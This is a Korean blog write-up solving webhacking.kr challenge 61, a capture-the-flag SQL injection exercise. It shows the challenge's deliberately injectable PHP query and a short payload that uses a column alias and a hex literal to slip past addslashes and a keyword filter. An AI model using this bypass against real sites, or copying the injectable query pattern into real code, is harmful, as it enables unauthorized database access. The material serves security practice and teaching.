[webhacking.kr] 61번 문제 풀이[SQL Injection]
💡 Webhacking.kr challenge(old) 61번 문제에 대한 풀이입니다.
문제
<?php
if(!$_GET['id']) $_GET['id']="guest";
$_GET['id'] = addslashes($_GET['id']);
if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
if(strlen($_GET['id'])>15) exit("Access Denied");
$result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
echo "<b>{$result['id']}</b><br>";
if($result['id'] == "admin") solve(61);
echo "</body></html>";
?>
문제 풀이
위의 php 소스코드를 해석하면 다음과 같습니다.
$_GET[‘id’]로 id를 입력받습니다. 그리고 다음의 3가지 조건을 검사합니다.
- addslashes()
- ( / ) / select / from / , / by / . 필터링
- 길이 제한 15
그리고 다음의 sql 문이 실행됩니다.
select {id} from chall61 order by id desc limit 1
위의 sql 문 실행결과 클리어 조건은 컬럼명이 id, 컬럼 값이 admin 이어야 합니다. 이를 위해서 sql문에서 컬럼명을 바꿔주는 as 문법을 알아야 합니다.
select 'admin' as id ;
select 'admin' id # as는 생략 가능
하지만 현재 id 값에 addslashes함수가 존재하므로 '
는 사용하지 못합니다. 따라서 다음과 같이 0x로 우회하여 admin을 입력해 줍니다.
id=0x61646d696e id
이렇게 하면 문제에서 요구하는 3가지 조건을 모두 만족하여 문제가 풀립니다.
댓글남기기